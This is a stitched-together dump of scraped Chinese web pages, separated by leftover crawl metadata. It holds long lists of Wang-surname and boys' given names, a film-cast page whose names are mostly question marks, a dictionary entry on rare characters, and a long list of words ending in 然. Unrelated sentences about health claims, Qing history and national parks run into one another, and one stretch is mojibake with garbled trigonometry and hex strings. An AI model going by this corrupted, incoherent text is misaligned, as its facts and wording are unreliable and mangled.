王桂玉 王乃良 王胜然 王莛波 王盈人 王志梅 王彩娟 王艺沣 王一妃 王春敏 王香玲 王泉月 王薇欢 王复兴 王婴 王才高 王凡峪 王海菡 王英涛 王海晗 王一民 王国胜 王一光 王静之 王丛杰 王昭芸 王松波 王英慧 王静宜 王松泊 王楚灿 王瑞哲 王宗杰 王静遥 王连鱼 王韵暄 王钰锋 王之语 王薇芸 王乾丞 王观 王泽博 王偌暄 王芯蕾 王若暄 王博泽 王红瑜 王小小 王梓瑜 王栋泽 王婕暄 王凤姣 王冠锋 王梓榆 王一妲 王露仪 王希光 王圣路 王眉婷 王权路 王知语 王保凤 王高朋 王成舜 王卞峭 王军锋 王权善 王煜锋 王君灵 王虞之 王桂菊 王一之 王学轩 王兰婷 王枞荣 王宏菲 王翊如 王伽亦 王泽雨 王紫珺 王晓荷 王巧委 王小荷 王从容 王翊茹 王一囡 王有超 王辙 王权雄 王庚富 王奕如 王塄 王泽羽 王奕茹 王若滨 王洪园 王亦如 王若汐 王权兴 王权临 王权民 王薇茗 王权正 王一非 王薏如 王权佑 王若希 王鳌 王友弈 王权加 王薏茹 王文梦 王权忠 王翱 王亦姗 王文琪 王岩逸 王羽阳 王毅萌 王茜溪 王羽扬 王为华 王梓佃 王羽鸯 王辛予 王晓然 王靖钊 王羽秧 王亚珂 王佳溪 王雨梦 王雨珂 王玺恒 王靖钇 王若依 王靖钏 王隆军 王祥熙 王斌超 王权恩 王旖萱 王铭玺 王权百 王权梁 王诤 王权明 王晓可 王权牧 王琪琪 王革 王禹南 王权治 王昌宏 王嘉铭 王权至 王权志 王赞锦 王权尊 王韵舒 王鑫瑞 王权强 王佳铭 王权学 王涌珲 王乖侠 王权杰 王珈茗 王登云 王权遥 王权顺 王家明 王严笛 王倾伊 王权势 王权盼 王朋 王可清 王梓宁 王连生 王权耕 王嘉明 王权益 王惠铄 王伟丽 王嫣然 王权众 王加鸣 王权良 王相霖 王紫宁 王权康 王咏梅 王若镔 王荚茗 王权语 王希希 王希溪 王夕溪 王权坦 王予茕 王昔溪 王建洲 王淅溪 王培民 王一语 王智群 王欷溪 王梦繁 王豪 王满旖 王花 王嘉名 王翎竹 王葸溪 王歌 王浠溪 王仙兰 王宣文 王鑫璐 王木又 王金玲 王玉娥 王紫懿 王科雅 王以然 王佳茗 王梦祈 王玎溪 王立言 王云浦 王琰琳 王凤苑 王衍凌 王复龙 王严迪 王惠骊 王权会 王丹彤 王权回 王伽茗 王权汇 王从荣 王玮娜 王培珉 王恒丽 王俊茗 王金刚 王海容 王吉美 王艺宪 王依溪 王意宁 王尹郴 王楠赫 王栗 王州 王太会 王平阳 王权生 王小凡 王国秀 王能文 王韵淑 王家欣 王小尘 王慧清 王朝鹏 王小霓 王权政 王韵梦 王云蔚 王权实 王芸蔚 王秋天 王易元 王秋心 王照耀 王美心 王研 王善美 王培丞 王美善 王连香 王惠麟 王秀莉 王慧聪 王祺皓 王迎美 王琼舒 王照学 王淇钧 王梦颍 王可涵 王梦玉 王凌词 王士泰 王叶轩 王梓伊 王荣荣 王苡亦 王从竹 王继学 王红莲 王宣桦 王淇凌 王驭 王耀鸣 王荃茗 王荟 王萍瑛 王宇宁 王惟禾 王祺博 王惟玉 王苑伊 王卓林 王万全 王锦平 王铁 王心启 王鸣辉 王城伊 王丽艳 王紫凌 王苡存 王俊羲 王明辉 王泽林 王姿羲 王凤宇 王姿烨 王鸣世 王叶宣 王盛世 王会初 王泽岐 王斐 王泳淇 王珏烨 王叶渲 王亚琴 王盼平 王力铭 王润军 王浩羽 王旌任 王思仪 王子桀 王子骐 王叶行 王泽光 王大狗 王贵元 王东阁 王大大 王舒禾 王泽川 王弈儒 王贵有 王盛名 王姿霖 王泽生 王洪伟 王嘉贤 王名 王天舒 王一舒 王晖涵 王相茗 王泽元 王韦迪 王泽云 王相淇 王永淇 王杨广 王晋中 王科淇 王杨航 王齐 王昌正 王雪健 王奇 王娟毅 王思宜 王剑霞 王子琦 王其 王妹妹 王云奇 王锶齐 王吉伟 王近任 王可东 王新力 王偲齐 王清闻 王钧羡 王严 王绎淼 王德权 王学韬 王雪冰 王思韬 王泽莘 王绎番 王竣韬 王建勋 王鸿涵 王钧韬 王祖韬 王铭韬 王昌翼 王美媛 王柯苏 王利金 王小贻 王亚男 王林建 王红果 王化林 王子显 王桂莲 王新懿 王子源 王育春 王泽旭 王潇雅 王子维 王思怡 王柯书 王泽晟 王尤梵 王书平 王奕 王子杰 王司南 王斯诺 王大文 王思冰 王思苏 王犀睿 王思冲 王斯琴 王文明 王照辉 王思水 王琬 王希睿 王常秀 王大力 王本峰 王绍嘉 王魏 王亦珊 王德爱 王芳辉 王化坤 王梓峻 王骏 王龙涵 王涵龙 王锟 王梓豪 王安霞 王佳茵 王绍莲 王敬超 王绍钰 王玺东 王新强 王玺西 王立文 王西玺 王根 王盼兮 王金治 王囚 王格 王昱捷 王盼希 王盼曦 王文娟 王誉艳 王世瞻 王春生 王庆周 王学军 王嘉潼 王檀清 王檀青 王芬 王子午 王上阳 王小雨 王盼溪 王守伟 王昭卓 王思飘 王尤柃 王益诚 王淏宇 王宗艳 王汪卓 王昭雪 王岚 王宇可 王昭阳 王师瑜 王妙哲 王焱汾 王小惟 王尤九 王子莉 王昭庶 王尤柏 王艳芬 王黎昭 王小雯 王昭海 王梓丽 王昭召 王尤玥 王昭酌 王向华 王大麟 王一惠 王学君 王小三 王小闻 王培珍 王梦兰 王静静 王小文 王锦鸽 王一菲 王璇玥 王军平 王业群 王小萌 王文江 王熙桢 王文龙 王謦 王株 王婉菁 王少卿 王桀 王锦锟 王丽景 王德荣 王竟 王兢 王武毅 王陆 王裕杰 王奕凤 王棠 王朵朵 王铭坚 王奕儒 王钥嬴 王颖妍 王田锋 王建伟 王运吉 王淑艳 王鑫飚 王铭灯 王文贵 王欣彤 王淑妍 王材匀 王铭家 王艳明 王铭佳 王熠伟 王铭军 王铭君 王厚刚 王鑫炎 王晓颖 王铭高 王铭远 王铭乐 王国英 王成双 王飞琳 王铭毅 王一羽 王德惠 王梦露 王福珍 王婧玮 王一清 王萌露 王微微 王英宝 王钧冬 王连喜 王蕊嘉 王瑜坤 王尧 王瑞琼 王文国 王略先 王宇坤06年转会申花后,刘云飞在与金德的比赛中有放水的嫌疑,国门居然就此消失。也可直接点\"搜索资料\"搜索整个问题。\n因含有侧柏莲酮芳香油而具有独特风味。其中抗癌微量元素硒是公认抗癌植物芦荟的10倍。也可直接点\"搜索资料\"搜索整个问题。(依法须经批准的项目,经相关部门批准后方可开展经营活动)。这种物质会通过呼吸系统和皮肤进入人体,如果过多使用,会增加女性患乳腺癌的几率。红糖含有95%左右的蔗糖,保留了较多甘蔗的营养成分,也更加容易被人体消化吸收,因此能快速补充体力、增加活力,所以又被称为「东方的巧克力」,其中不仅含有可提供热能的碳水化合物,还含有人体生长发育不可缺少的苹果酸、核黄素、胡萝卜素、烟酸和微量元素锰、锌、铬等各种元素。甲油胶和指甲油的作用是一样,同样起到美化的作用,但是它们两者的成分是完全不同的。在江苏省,相近经营范围的公司总注册资本为3085881万元,主要资本集中在100-1000万规模的企业中,共10130家。3、由于指甲很容易吸收外界物质,所以,长期使用铅、砷、汞、苯等重金属超标的指甲油可能会出现慢性中毒,甚至致癌。4、指甲油中普遍含有一种叫\"酞酸酯\"的物质,这种物质有可能导致胎儿流产。可选中1个或多个下面的关键词,搜索相关资料。\n他于光绪十四年十月(1888年11月)大婚,至光绪二十四年八月囚禁瀛台,近十年时间,虽然政治上难以伸展手脚,基本上是个傀儡皇帝,但性生活还是有较大自由度的,尤其与他宠爱的珍妃,婚姻生活堪称甜美。而从蒙古科尔沁部首领莽古思的角度来讲血缘伦理,他将女儿(孝端文皇后)嫁给了皇太极,又将两个孙女(孝庄文皇后、宸妃)嫁给了皇太极,后又将两个孙女(静妃、淑惠妃)、一个曾孙女(孝惠章皇后)嫁给皇太极的儿子顺治帝福临。\"回答说:\"他是皇帝的走狗,修正主义分子,死不改侮的。登基之后,溥仪成了世界上最缺少管教、也是最孤独的孩子。防风-散风解表,祛风止痛;婉容成为皇后,把文绣挤成妃子,是皇太妃斗争的结果。Beijing:Science Press, 2007:24-33 [2] 路志正.\"医者 之学问, 全在明伤寒之理\" , 为衡量医者造诣深浅的 标尺。她们的悲剧既是由封建社会道德观念酿成,也是外来侵略势力刺激、催化的结果,因此不能说这只是一些弱女子的个人悲剧而是民族历史上一幕软弱怯懦、任人宰割的悲剧。中华人民共和国成立后,经过改造成为新公民,后因患肾癌而去世,享年62岁。\n254 南美洲 260 [哥斯达黎加]可可岛国家公园 264 [委内瑞拉]加那依玛国家公园 268 [厄瓜多]加拉帕戈斯群岛国家公园 276 [巴西]潘塔纳马托格罗索沼泽国家公园 282 [阿根廷\/巴西]伊瓜苏国家公园 284 [阿根廷]洛斯格拉希亚雷斯冰川国家公园 288 [智利]帕伊内岩山国家公园也可直接点\"搜索资料\"搜索整个问题。生物碱中的主要成分咖啡碱也称咖啡因,具有苦味也是构成茶汤滋味的重要成份;也可直接点\"搜索资料\"搜索整个问题。166 大洋洲 172 [澳大利亚]大堡礁海洋公园 178 [澳大利亚]卡卡督国家公园 182 [澳大利亚]乌鲁奴国家公园 188 [澳大利亚]拉明顿国家公园 192 [澳大利亚]卡莱吉尼国家公园 196 [新西兰]库克峰国家公园 200 [美国]夏威夷火山国家公园周末我在卧室里睡觉,在书房里学习,在画室里画画,在客厅里看动画片,在院子里和小朋友们奔跑、打闹、做游戏。118 亚洲 124 [埃及]拉斯·穆罕默德国家公园 132 [印度]伦滕波尔国家公园 136 [印度]柯贝特国家公园 140 [尼泊尔]皇家奇旺国家公园 144 [尼泊尔]萨加玛塔国家公园 148 [中国]卧龙自然保护区 152 [日本]上信越高原国家公园 156 [印尼]科摩多国家公园 162 [婆罗洲]丹侬谷保护区科研中心李元昊继夏国公之位后,弃李姓,自称嵬名氏。\n可选中1个或多个下面的关键词,搜索相关资料。战斗的时候,中间位置对应该战场的地脉属性,比如在雪地,地脉属性水,法阵中间位置变浅蓝色,站在中间的人物水属性增加。仙剑里好像并没有很注重五行的相生相克(到仙三外传才有的吧?)不过在大宇的另一款游戏\"轩辕剑\"中五行大显身手,战斗时不仅要注意五行相克,还要注意五行相生。富了的马克·吐温仗义疏财,慷慨地资助生活上有困难的演员、艺术家、青年学生。","id":"","dump":"CC-MAIN-2019-39","url":"http:\/\/www.worldlct.com\/guocui\/45.html","date":"2019-09-15T15:13:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514571506.61\/warc\/CC-MAIN-20190915134729-20190915160729-00552.warc.gz","language":"lzh","language_score":0.8791075349,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.8791075348854065, \"nan_Hani_score\": 0.0785956159234047, \"cmn_Hani_score\": 0.04223526269197464}","num_words":2438,"character_repetition_ratio":0.011,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.001,"flagged_words_ratio":0.0,"lang_id_score":0.894,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"??? ?? ??? ?\n張媛鈺 ?\n喬新峰 顧語涵 ?\n紅堅 子昊 孫婉茹 ?\n呂一杰 田原璐 孫蛟龍 ?\n蘇振華 張彬杰 馬雪驕 張鶴瑞 ?\n梁小雅 ?\n馮子翰 張郎 楊軼 沐嵐 ?\n未知?\n彭子軒 李鴻杰 孫睿 ?\n張家銘 曾小嬌 鄧辰鋒 李星雨 ?\n王冬 王辰昊 楊保雷 姚震宇 姚夢 范野子 ?\n李慧芳 ?\n周光旭 陳心淼 鐘玲麗 ?\n未知 ?\n趙毅新 楊蕊嘉 駱應鈞 苑瓊丹 ?\n黃菜花 方樹偉 王白菜 胡曉曦 ?\n黃語森 利莉施 ?\n呂熙 劉爽 常塍 ?\n楊浩煜 ?\nMr達 許可 龍馨悅 蘇晗 孔奇力 張書琦 仁青娜姆 饒微 ?\n熊小梨 曹國濤 宋建新 杜康 ?\n謝苗 房程程 ?\n林煒琪 ?\n楊睿熹 王曉笛 夏羅業 ?\n金龍 金燕 楊子一 ?\n司徒穎霜 郝帥 韋依 吳永淦 ?\n余歡歡 雷博 張蕾 ?\n夏望 唐小然 楊玥 楊思源 ?\n周宥伶 黃勁棠 ?\n王萌 趙思 ?\n趙梓含 沈馳 陳馨兒 王苗 ?\n卜冠今 ?\n任德勇 茹茹 ?\n高雨兒 張良 王浩宇 大牙 ?\n高凱 敘辰 ?\n王以綸 樓佳悅 李俊辰 陳威旭 賴帥明 ?\n王以綸 樓佳悅 李俊辰 陳威旭 賴帥名 ?\n張博楠 徐大寶 賈佳倫 ?\n郭鵬 朱蔻 王慧 溫晴 李溯 ?\n王子子 彭敬慈 陳芋米 佟月 王遠達 ?\n姜寒 肖旭 鄂博 衣云鶴 李曉強 ?\n葉思齊 袁安琪 張暉 ?\n陳諾 王東 黃庶 田媛 ?\n魯諾 梁焯滿 吳志雄 朱永棠 陳慧 ?\n劉前程 王維琳 ?\n宋曉峰 程野 唐娜 張家豪 宋小寶 ?\n謝容兒 薇拉貝兒 姚雨鑫 曲馨雅 姜星丘 ?\n杜維瀚 徐沖 寧靜 袁姍姍 ?\n本網站為非盈利性站點,本網站所有內容均來源于互聯網相關站點自動搜索采集信息,相關鏈接已經注明來源。\nCopyright ? 2015-2019 看空間","id":"","dump":"CC-MAIN-2020-29","url":"http:\/\/www.kukgxl.icu\/vodshow\/36-----------\/","date":"2020-07-11T07:54:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655924908.55\/warc\/CC-MAIN-20200711064158-20200711094158-00188.warc.gz","language":"lzh","language_score":0.4475722909,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4475722908973694, \"yue_Hani_score\": 0.3057844340801239, \"cmn_Hani_score\": 0.24286921322345734}","num_words":159,"character_repetition_ratio":0.032,"word_repetition_ratio":0.0,"special_characters_ratio":0.375,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.481,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"鍖虓 有人知道是什么意思么\n发布者:八字配对 发布时间:2021-02-04\n鍖zhēn(ㄓㄣˉ5261)字义未详。4102★部首: 釒 笔画: 8 外笔画: 9虓1653xiāo(ㄒㄧㄠˉ)[1]虎吼。[2]勇猛匡:\"前日从陛版下平天下,~权士爪臣,气力未衰。\"★部首: 虍 笔画: 6 外笔画: 4疑为针灸的同音字。\n整个意思就是:复虚心制且勇敢匡。鍖 chěn 〔鍖然〕2113虚心的样子5261,如\"鍖鍖不满4102,退托于族。\" 〔鍖銋(1653 r噉 )〕(声音)舒缓,如\"行鍖鍖以和啰。\" 虓 xiāo 虎吼。 勇猛:\"前日从陛下平天下,虓士爪臣,气力未衰。\" 笔画数:10; 部首:虍;\n鍖栫亩:tan伪*(cos伪-sin伪)+[sin伪(sin伪+tan伪)\/1+cos伪]\n鏄痶an伪bai(cos伪-sin伪)+[sin伪du(sin伪zhi+tan伪)\/(1+cos伪)]鍚?鍏堢湅daosin伪(sin伪+tan伪)\/(1+cos伪)锛屽垎瀛愪负sin伪(sin伪cos伪\/cos伪+sin伪\/cos伪)鈫?sin伪)^2(1+cos伪)\/cos伪.涓庡垎姣内岖害鍒嗗悗容寰桗(sin伪)^2\/cos伪=tan伪sin伪鈭村师寮忎负tan伪(cos伪-sin伪)+tan伪sin伪=tan伪cos伪=sin伪\n什么然,比如茫然。\n然字在后的二字词语有匡:\n自然匡、当然、突然、忽然、虽然、必然、天然、俨然、蓦然、猛然、偶e5a48de588b662616964757a686964616f31333365656566然、悄然、宛然、显然、仍然、居然、既然、毅然、讶然、陡然、猝然、骤然、怫然、佁然、悚然、茫然、诚然、倏然、竦然、潸然、凛然、怃然、赧然、率然、酣然、翕然、岸然、悠然、凄然、徒然、飘然、油然、哄然、惨然、蔚然、泫然、废然、已然、贸然、默然、或然、歉然、屹然、喟然、悍然、超然、骇然、迥然、杳然、愤然、爽然、怆然、寂然、纯然、使然、轰然、纵然、嫣然、淡然、铿然、蔼然、森然、荡然、全然、木然、跃然、阒然、澹然、肃然、嗒然、恍然、盎然、浑然、翛然、慨然、幡然、哑然、岿然、昂然、焕然、哗然、昭然、恬然、溘然、萧然、索然、悻然、奄然、怡然、怏然、犹然、崭然、豁然、戛然、涣然、靡然、决然、遽然、不然、勃然、蓦然、赫然、枉然、泊然、傫然、謷然、云然、面然、黟然、泮然……\n拓展资料匡:\n一、然\n读音:[rán] 部首:灬\n释义:\n1.对;不错:不以为~。\n2.指示代词。如此;这样;那样:不尽~|知其~,不知其所以~。\n3.然而:此事虽小,~亦不可忽视。\n4.副词或形容词后缀:忽~|突~|显~|欣~|飘飘~。\n5.又同\"燃\"。\n二、自然\n拼音:[zì ran,zì rán]\n释义:\n[ zì ran ]\n不勉强;不局促;不呆板:态度很~|他是初次演出,但演得挺~。\n[ zì rán ]\n1.自然界:大~。\n2.自由发展;不经人力干预:~免疫|听其~|~而然|你先别问,到时候~明白。\n3.表示理所当然:只要认真学习,~会取得好成绩。\n4.连接分句或句子,表示语义转折或追加说明:你应该虚心学习别人的优点,~,别人也要学习你的长处。\n三、当然\n[拼音] dāng rán\n[释义]\n1.应当这样:理所~|取得这么好的成绩,心里高兴是~的。\n2.表示合于事理或情理,没有疑问:群众有困难~应该帮助解决。\n四、突然\n[拼音] tū rán\n[释义] 在短促的时间里发生,出乎意外:~袭击|他来得很~。\n五、虽然\n[拼音] suī rán\n[释义] 连词。用在上半句,表示让步,下半句说出正面意思,常用\"可是\"\"但是\"\"却是\"等词呼应:这次试验~没有成功,可是得到了不少经验教训。\n六、必然\n[拼音] bì rán\n[释义]\n属性词。事理上确定不移:~趋势|胜利~属于意志坚强的人。\n哲学上指不以人们意志为转移的客观发展规律:新事物代替旧事物是历史发展的~。\n虽然e69da5e6ba9062616964757a686964616f31333264656664 当然 仍然 依然 突然 自然 显然 既然 居然 竟然 必然 果然 偶然 悄然 忽然 固然 理所当然 不以为然 已然 骤然 不然 俨然 天然 赫然 贸然 茫然 坦然 毅然 欣然 全然 断然 要不然 自然而然 公然 猛然 轰然 大自然 一目了然 黯然 安然 陡然 诚然 愤然 纵然 漠然 想当然 防患于未然 超然 跃然 了然 蓦然 毛骨悚然 哗然 果不其然 浑然 不尽然 亦然 盎然 悠然 浩然 所以然 飘飘然 毅然决然 飘然 恍然 淡然 木然 释然 猝然 傲然 怅然 生机盎然 幡然 昭然 愕然 默然 大义凛然 斐然 秩序井然 截然 昂然 冒然 迥然 决然 道貌岸然 凛然 定然 蔚然 翩然 陶然 泰然 油然 欣欣然 卓然 枉然 豁然 索然 戛然 怡然 顿然 颓然 哑然 凄然 未然 遽然 悍然 井然 砰然 惘然 超自然 肃然 巍然 嘎然 潸然 徒然 绝然 处之泰然 灿然 怆然 防患未然 惶然 慨然 酣然 勃然 杳然 岿然 悚然 骇然 焕然 宛然 恬然 粲然 纯然 森然 嫣然 奋然 萧然 霍然 孑然 沛然 寂然 懵然 溘然 昏然 任其自然 听其自然 屹然 哄然 荡然 忿然 惨然 泫然 犹然 兴味索然 理之当然 习惯成自然 不期而然 毛骨耸然 理所必然 毛骨竦然 春意盎然 铿然 端然 或然 凝然 兀然 喟然 冷然 悻然 尽然 戚然 怫然 爽然 赧然 恻然 讶然 不期然而然 环堵萧然 嗒然 莹然 岸然 愀然 倘然 概然 兴致索然 足音跫然 兴趣盎然 大谬不然 飒然 炯然 嘿然 洒然 轩然 自以为然 鍖然 崭然 乍然 凿然 傮然 杂然 云然 欝然 郁然 舆论哗然 俞然 于然 黝然 由然 攸然 优然 嘤然 隐然 愔然 殷然 音问杳然 醳然 翼然 翳然 熠然 意兴索然 意兴盎然 悒然 泆然 邑然 仡然 义然 佁然 嶷然 颐然 宜然 夷然 黟然 一见了然 窈然 窅然 肴然 峣然 怏然 卬然 洋然 爓然 燕然 焰然 晏然 宴然 厌然 黭然 偃然 俨乎其然 奄然 岩然 严然 阉然 雅然 崖然 洵然 曛然 吷然 炫然 悬然 喧然 瞲然 瞁然 续然 恤然 须然 须眉皓然 砉然 锈然 修然 夐然 汹然 幸然 信然 炘然 歆然 忻然 谢自然 晓然 小小不然 嚣然 潇然 翛然 枵然 削然 呺然 翔然 相然 憪然 闲然 掀然 閕然 衋然 闟然 咥咥然 习若自然 习惯自然 习惯若自然 习贯若自然 歙然 嬉嬉然 翕然 犀灯然 淅然 俙然 吸然 寤然 勿然 怃然 无然 渥然 沃然 滃然 温温然 温然 煟然 未必然 炜然 嵬然 罔然 汪然 婉然 顽然 完然 湾然 洼然 酡然 脱然 忳忳然 退然 僮然 听然 贴然 觍然 腆然 忝然 阗然 填然 天理昭然 惕然 倜然 特然 傥然 倓然 榻然 塔然 塌然 缩然 酸然 谡然 泝然 竦然 耸然 肆然 四海晏然 四壁萧然 死灰复然 曙然 儵然 淑然 适然 事有必至,理有固然 生意盎然 哂然 审然 沈然 神色怡然 神采奕然 舍然 尚然 闪然 骚然 撒然 若然 嬬嬬然 如其不然 柔然 融然 羣然 阙然 齤然 觑觑然 阒然 竘然 蘧然 胊胊然 屈然 遒然 惸然 茕然 跫然 罄然 顷然 嵚然 惬然 挈然 且然 翘然 跷然 鎗然 锵然 嗛然 慊然 佥然 祺然 颀然 其然 魄然 迫然 皤然 婆然 嫔然 彯然 骈然 劈然 披然 烹然 庞然 泮然 判然 拍然 衄然 恧然 苶然 睨然 赧赧然 难然 穆然 嗼然 莫不然 谬然 瞑然 暝然 愍然 悯然 泯然 闵然 蔑然 妙然 邈然 藐然 渺然 眇然 面然 腼然 缅然 俛然 谧然 密然 靡然 孟浩然 蒙然 闷然 痗然 昧然 眊然 毛发耸然 毛发悚然 痝然 厖然 尨然 缦然 漫然 慢然 满坐寂然 满目萧然 瞒然 落然 荦然 率然 隆然 泠然 澟然 懔然 廪然 烈然 料然 憀然 寥然 良然 敛然 栗然 利其然 立然 厉然 历然 理固当然 李默然 礼禁未然 黎然 犂然 厘然 楞然 累然 儽然 儡然 傫然 雷然 勒铭燕然 乐然 浪然 朗然 琅然 拉然 廓然 阔然 溃然 頍然 傀然 頯然 魁然 旷然 快然 块然 硿然 空然 克然 抗然 衎然 嘅然 忾然 戄然 矍然 蹶然 绝然 崛然 倔然 眷然 卷然 瞿然 惧然 剧然 具然 巨然 就然 窘然 冏然 胫然 径然 憬然 井井然 惊然 晋晋然 仅然 矜然 斤然 界然 介然 介介然 嶻然 桀然 杰然 节然 皭然 较然 皦然 曒然 敫然 矫然 皎然 晈然 挢然 燋然 焦然 将然 瞯然 蹇然 謇然 谫然 俭然 熸然 济然 济济然 濈然 踖然 伋然 謋然 惑然 剨然 騞然 溷然 混然 惛然 慧然 惠然 辉然 灰然 滉然 晃然 皇然 涣然 睆然 欢然 画然 划然 胡然 泓然 鍧然 烘然 熇然 颢然 皓然 晧然 浩气凛然 号然 蒿然 撼然 寒灰更然 海内澹然 猓然 衮然 炅然 诡然 圭角岸然 故我依然 故然 苟然 革然 刚然 俯然 抚然 艴然 拂然 咈然 逢然 棼然 分然 沸然 废然 防祸于未然 泛然 繁然 樊然 飜然 翻然 憣然 番然 薾然 鄂然 谔然 峨然 俄然 哆然 敦然 独然 抖然 斗然 都然 湩然 洞然 的然 道貎俨然 道貌俨然 道貌凛然 道法自然 党然 澹然 憺然 紞然 单然 大缪不然 怛然 错然 痤然 粹然 倅然 漼然 蹴然 蹴蹴然 蹙然 踧然 漎然 丛然 从然 辍然 惙然 踔然 蠢然 矗然 怵然 处之怡然 处之夷然 处之晏然 处之绰然 初然 愁然 冲然 充然 炽然 斥然 侈然 弛然 蚩然 成然 瞠然 赪然 琤然 闯然 焯然 鬯然 畅然 惝然 常然 冁然 巉然 儳然 畟然 嘈然 璨然 憯然 纔然 才然 才气超然 不知其所以然 不期然 泊然 并然 炳然 飙然 便然 扁然 辟然 堛然 比然 比比皆然 本然 贲然 悖然 斑然 班然 骜然 熬然 嗷然 敖然 晻然 闇然 僾然 暧然 蔼然\n- 上一篇:南方集中供暖;地暖----在南方能否实现集中供暖呢?\n- 下一篇:没有了\n- 搜索\n-\n- 热门tag\n-","id":"","dump":"CC-MAIN-2021-10","url":"http:\/\/www.ccgsinc.net\/bazijingbi\/11441.html","date":"2021-02-26T07:19:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178356232.19\/warc\/CC-MAIN-20210226060147-20210226090147-00340.warc.gz","language":"lzh","language_score":0.539762795,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.5397627949714661, \"cmn_Hani_score\": 0.3532533347606659, \"nan_Hani_score\": 0.056839872151613235, \"wuu_Hani_score\": 0.025585833936929703, \"jpn_Jpan_score\": 0.023438600823283195}","num_words":823,"character_repetition_ratio":0.021,"word_repetition_ratio":0.0,"special_characters_ratio":0.334,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.623,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"男孩取名字大全:1200个好听的男孩名字-任东升\n男孩起名大全:1200 个好听的名字 A 安邦 安福 安歌 安国 安和 安康 安澜 安民 安宁 安平 安然 安顺 安翔 安晏 安宜 安怡 安易 安志 昂然 昂雄 B 宾白 宾鸿 宾实 彬彬 彬炳 彬郁 斌斌 斌蔚 滨海 波光 波鸿 波峻 波涛 博瀚 博超 博达 博厚 博简 博明 博容 博赡 博 涉 博实 博涛 博文 博学 博雅 博延 博艺 博易 博裕 博远 C 才捷 才良 才艺 才英 才哲 才俊 成和 成弘 成化 成济 成礼 成龙 成仁 成双 成天 成文 成业 成益 成荫 成周 承安 承 弼 承德 承恩 承福 承基 承教 承平 承嗣 承天 承望 承宣 承颜 承业 承悦 承允 承运 承载 承泽 承志 D 德本 德海 德厚 德华 德辉 德惠 德容 德润 德寿 德水 德馨 德曜 德业 德义 德庸 德佑 德宇 德元 德运 德泽 德明 F 飞昂 飞白 飞飙 飞掣 飞尘 飞沉 飞驰 飞光 飞翰 飞航 飞翮 飞鸿 飞虎 飞捷 飞龙 飞鸾 飞鸣 飞鹏 飞扬 飞文 飞翔 飞 星 飞翼 飞英 飞宇 飞羽 飞雨 飞语 飞跃 飞章 飞舟 风华 丰茂 丰羽 G 刚豪 刚洁 刚捷 刚毅 高昂 高岑 高畅 高超 高驰 高达 高澹 高飞 高芬 高峯 高峰 高歌 高格 高寒 高翰 高杰 高洁 高 峻 高朗 高丽 高邈 高旻 高明 高爽 高兴 高轩 高雅 高扬 高阳 高义 高谊 高逸 高懿 高原 高远 高韵 高卓 光赫 光华 光辉 光济 光霁 光亮 光临 光明 光启 光熙 光耀 光誉 光远 国安 国兴 国源 冠宇 冠玉 H 晗昱 晗日 涵畅 涵涤 涵亮 涵忍 涵容 涵润 涵涵 涵煦 涵蓄 涵衍 涵意 涵映 涵育 翰采 翰池 翰飞 翰海 翰翮 翰林 翰 墨 翰学 翰音 瀚玥 翰藻 瀚海 瀚漠 昊苍 昊昊 昊空 昊乾 昊穹 昊然 昊然 昊天 昊焱 昊英 浩波 浩博 浩初 浩大 浩宕 浩荡 浩歌 浩广 浩涆 浩瀚 浩浩 浩慨 浩旷 浩阔 浩漫 浩淼 浩渺 浩邈 浩气 浩然 浩穰 浩壤 浩思 浩言 皓轩 和蔼 和 安 和璧 和昶 和畅 和风 和歌 和光 和平 和洽 和惬 和顺 和硕 和颂 和泰 和悌 和通 和同 和煦 和雅 和宜 和怡 和玉 和裕 和豫 和悦 和韵 和泽 和正 和志 鹤轩 弘博 弘大 弘方 弘光 弘和 弘厚 弘化 弘济 弘阔 弘亮 弘量 弘深 弘盛 弘 图 弘伟 弘文 弘新 弘雅 弘扬 弘业 弘义 弘益 弘毅 弘懿 弘致 弘壮 宏伯 宏博 宏才 宏畅 宏达 宏大 宏放 宏富 宏峻 宏浚 宏恺 宏旷 宏阔 宏朗 宏茂 宏邈 宏儒 宏深 宏胜 宏盛 宏爽 宏硕 宏伟 宏扬 宏义 宏逸 宏毅 宏远 宏壮 鸿宝 鸿 波 鸿博 鸿才 鸿彩 鸿畅 鸿畴 鸿达 鸿德 鸿飞 鸿风 鸿福 鸿光 鸿晖 鸿朗 鸿文 鸿熙 鸿羲 鸿禧 鸿信 鸿轩 鸿煊 鸿煊 鸿雪 鸿羽 鸿远 鸿云 鸿运 鸿哲 鸿祯 鸿振 鸿志 鸿卓 华奥 华采 华彩 华灿 华藏 华池 华翰 华皓 华晖 华辉 华茂 华 美 华清 华荣 华容 J 嘉赐 嘉德 嘉福 嘉良 嘉茂 嘉木 嘉慕 嘉纳 嘉年 嘉平 嘉庆 嘉荣 嘉容 嘉瑞 嘉胜 嘉石 嘉实 嘉树 嘉澍 嘉熙 嘉禧 嘉 祥 嘉歆 嘉许 嘉勋 嘉言 嘉谊 嘉懿 嘉颖 嘉佑 嘉玉 嘉誉 嘉悦 嘉运 嘉泽 嘉珍 嘉祯 嘉志 嘉致 坚白 坚壁 坚秉 坚成 坚诚 建安 建白 建柏 建本 建弼 建德 建华 建明 建茗 建木 建树 建同 建修 建业 建义 建元 建章 建中 健柏 金鑫 锦 程 瑾瑜 晋鹏 经赋 经亘 经国 经略 经纶 经纬 经武 经业 经义 经艺 景澄 景福 景焕 景辉 景辉 景龙 景明 景山 景胜 景铄 景天 景同 景曜 靖琪 君昊 君浩 俊艾 俊拔 俊弼 俊才 俊材 俊驰 俊楚 俊达 俊德 俊发 俊风 俊豪 俊健 俊杰 俊 捷 俊郎 俊力 俊良 俊迈 俊茂 俊美 俊民 俊名 俊明 俊楠 俊能 俊人 俊爽 